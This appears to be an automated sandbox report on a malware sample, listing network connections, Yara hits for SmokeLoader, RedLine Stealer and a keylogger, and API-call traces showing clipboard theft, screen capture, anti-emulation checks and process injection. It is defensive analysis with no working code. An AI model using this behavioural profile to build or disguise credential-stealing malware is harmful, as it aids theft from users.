Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 23.199.218.33:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 65.109.242.59:443 -> 192.168.2.4:49768 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected SmokeLoader
Source: Yara match File source: 00000005.00000002.1969820013.00000000048F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1740978999.00000000049F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.3994237528.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1740710634.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.3994385384.0000000002E51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1969780302.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0042EAB0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 6_2_0042EAB0
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0042EAB0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 6_2_0042EAB0
Contains functionality to record screenshots
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0042EC90 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject, 6_2_0042EC90
Yara detected Keylogger Generic
Source: Yara match File source: 0000000A.00000002.2305592154.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: D818.exe PID: 7224, type: MEMORYSTR

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 10.2.D818.exe.4570000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 10.2.D818.exe.2560000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 10.2.D818.exe.4347719.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 10.2.D818.exe.2560000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 10.2.D818.exe.4347719.1.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 10.2.D818.exe.4570000.2.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000010.00000002.3994207435.0000000002D70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.1969684642.0000000002E4B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1740824715.0000000002E2B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1969820013.00000000048F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.1969542787.0000000002D90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1740978999.00000000049F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000010.00000002.3994237528.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.2306037473.0000000004570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000000.00000002.1740688964.0000000002DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.2346451120.0000000000560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000002.2305075541.0000000002560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000000.00000002.1740710634.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000010.00000002.3995067757.000000000302E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.3994385384.0000000002E51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2346623744.00000000005DD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1969780302.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Abnormal high CPU Usage
Source: C:\Windows\explorer.exe Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00401615 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401615
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00401658 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401658
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00403406 GetModuleHandleA,CreateFileW,GetForegroundWindow,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,wcsstr,tolower,towlower, 0_2_00403406
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00401620 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401620
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00401524 NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401524
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_0040162D NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_0040162D
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00401635 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401635
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_00401615 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 5_2_00401615
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_00401658 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 5_2_00401658
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_00401620 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 5_2_00401620
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_00401524 NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 5_2_00401524
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_0040162D NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 5_2_0040162D
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_00401635 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 5_2_00401635
Source: C:\Users\user\AppData\Local\Temp\D818.exe Code function: 10_2_04379B10 NtProtectVirtualMemory,NtProtectVirtualMemory, 10_2_04379B10
Source: C:\Users\user\AppData\Local\Temp\D818.exe Code function: 10_2_0437A4F0 NtAllocateVirtualMemory,GetTempFileNameA,CreateFileA,WriteFile,CreateProcessA,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64GetThreadContext,Wow64SetThreadContext,ResumeThread,ExitProcess, 10_2_0437A4F0
Source: C:\Users\user\AppData\Local\Temp\D818.exe Code function: 10_2_04379850 NtCreateFile,CreateFileMappingA,MapViewOfFile,FindCloseChangeNotification, 10_2_04379850
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC262C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy, 11_2_6CC262C0
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00427353 6_2_00427353
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00420880 6_2_00420880
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00404970 6_2_00404970
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0041FD10 6_2_0041FD10
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0043B050 6_2_0043B050
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00426174 6_2_00426174
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_004061F0 6_2_004061F0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00426284 6_2_00426284
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_004223B8 6_2_004223B8
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00405440 6_2_00405440
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0040F400 6_2_0040F400
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_004164D2 6_2_004164D2
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00433480 6_2_00433480
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00403570 6_2_00403570
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00421580 6_2_00421580
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_004016E0 6_2_004016E0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_004067B0 6_2_004067B0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_004089A0 6_2_004089A0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00424B80 6_2_00424B80
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00421C71 6_2_00421C71
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00425CEE 6_2_00425CEE
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00440D36 6_2_00440D36
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0043AD30 6_2_0043AD30
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00407DF0 6_2_00407DF0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00404EF0 6_2_00404EF0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00435EB0 6_2_00435EB0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00403F80 6_2_00403F80
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00568057 6_2_00568057
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00582067 6_2_00582067
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00565157 6_2_00565157
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00596117 6_2_00596117
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005641E7 6_2_005641E7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00561267 6_2_00561267
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0059B2B7 6_2_0059B2B7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005863DB 6_2_005863DB
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00566457 6_2_00566457
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005864EB 6_2_005864EB
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005875BA 6_2_005875BA
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0056F667 6_2_0056F667
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005936E7 6_2_005936E7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005656A7 6_2_005656A7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00576739 6_2_00576739
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005637D7 6_2_005637D7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00580AE7 6_2_00580AE7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00564BD7 6_2_00564BD7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00568C07 6_2_00568C07
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00585F55 6_2_00585F55
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0059AF97 6_2_0059AF97
Source: C:\Users\user\AppData\Local\Temp\D818.exe Code function: 10_2_0437AB10 10_2_0437AB10
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CA9ECC0 11_2_6CA9ECC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAFECD0 11_2_6CAFECD0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7AC30 11_2_6CB7AC30
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB66C00 11_2_6CB66C00
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAAAC60 11_2_6CAAAC60
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC2CDC0 11_2_6CC2CDC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA4DB0 11_2_6CAA4DB0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB36D90 11_2_6CB36D90
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB6ED70 11_2_6CB6ED70
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC28D20 11_2_6CC28D20
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBCAD50 11_2_6CBCAD50
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB26E90 11_2_6CB26E90
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAAAEC0 11_2_6CAAAEC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB40EC0 11_2_6CB40EC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB80E20 11_2_6CB80E20
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB3EE70 11_2_6CB3EE70
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBE8FB0 11_2_6CBE8FB0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAAEFB0 11_2_6CAAEFB0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7EFF0 11_2_6CB7EFF0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA0FE0 11_2_6CAA0FE0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBE0F20 11_2_6CBE0F20
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA6F10 11_2_6CAA6F10
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB62F70 11_2_6CB62F70
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB0EF40 11_2_6CB0EF40
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBA68E0 11_2_6CBA68E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAF0820 11_2_6CAF0820
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB2A820 11_2_6CB2A820
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB74840 11_2_6CB74840
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB609B0 11_2_6CB609B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB309A0 11_2_6CB309A0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB5A9A0 11_2_6CB5A9A0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBBC9E0 11_2_6CBBC9E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAD49F0 11_2_6CAD49F0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAF6900 11_2_6CAF6900
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAD8960 11_2_6CAD8960
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB1EA80 11_2_6CB1EA80
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB58A30 11_2_6CB58A30
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB4EA00 11_2_6CB4EA00
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB1CA70 11_2_6CB1CA70
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB40BA0 11_2_6CB40BA0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBA6BE0 11_2_6CBA6BE0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBCA480 11_2_6CBCA480
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB3A4D0 11_2_6CB3A4D0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAE64D0 11_2_6CAE64D0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB2A430 11_2_6CB2A430
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB04420 11_2_6CB04420
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAB8460 11_2_6CAB8460
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CA945B0 11_2_6CA945B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB2E5F0 11_2_6CB2E5F0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB6A5E0 11_2_6CB6A5E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB40570 11_2_6CB40570
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB02560 11_2_6CB02560
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBE8550 11_2_6CBE8550
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAF8540 11_2_6CAF8540
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBA4540 11_2_6CBA4540
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAFE6E0 11_2_6CAFE6E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB3E6E0 11_2_6CB3E6E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAC46D0 11_2_6CAC46D0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAFC650 11_2_6CAFC650
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CACA7D0 11_2_6CACA7D0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB20700 11_2_6CB20700
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7C0B0 11_2_6CB7C0B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAB00B0 11_2_6CAB00B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CA98090 11_2_6CA98090
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB68010 11_2_6CB68010
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB6C000 11_2_6CB6C000
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAEE070 11_2_6CAEE070
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA01E0 11_2_6CAA01E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB16130 11_2_6CB16130
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB84130 11_2_6CB84130
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB08140 11_2_6CB08140
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC262C0 11_2_6CC262C0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB6E2B0 11_2_6CB6E2B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB722A0 11_2_6CB722A0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB78220 11_2_6CB78220
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB6A210 11_2_6CB6A210
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB28260 11_2_6CB28260
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB38250 11_2_6CB38250
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAD23A0 11_2_6CAD23A0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAFE3B0 11_2_6CAFE3B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAF43E0 11_2_6CAF43E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB12320 11_2_6CB12320
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB36370 11_2_6CB36370
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBE2370 11_2_6CBE2370
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA2370 11_2_6CAA2370
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBBC360 11_2_6CBBC360
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA8340 11_2_6CAA8340
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB3FC80 11_2_6CB3FC80
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB61CE0 11_2_6CB61CE0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBDDCD0 11_2_6CBDDCD0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAB1C30 11_2_6CAB1C30
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAA3C40 11_2_6CAA3C40
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBC9C40 11_2_6CBC9C40
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CA93D80 11_2_6CA93D80
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBE9D90 11_2_6CBE9D90
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB71DC0 11_2_6CB71DC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB03D00 11_2_6CB03D00
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAC3EC0 11_2_6CAC3EC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC25E60 11_2_6CC25E60
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBADE10 11_2_6CBADE10
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBFBE70 11_2_6CBFBE70
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC23FC0 11_2_6CC23FC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAC1F90 11_2_6CAC1F90
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB4BFF0 11_2_6CB4BFF0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBBDFC0 11_2_6CBBDFC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAD5F20 11_2_6CAD5F20
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CA95F30 11_2_6CA95F30
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBF7F20 11_2_6CBF7F20
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7F8F0 11_2_6CB7F8F0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAAD8E0 11_2_6CAAD8E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAD38E0 11_2_6CAD38E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBFB8F0 11_2_6CBFB8F0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB3F8C0 11_2_6CB3F8C0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAFD810 11_2_6CAFD810
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB73840 11_2_6CB73840
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB71990 11_2_6CB71990
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CAB1980 11_2_6CAB1980
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB059F0 11_2_6CB059F0
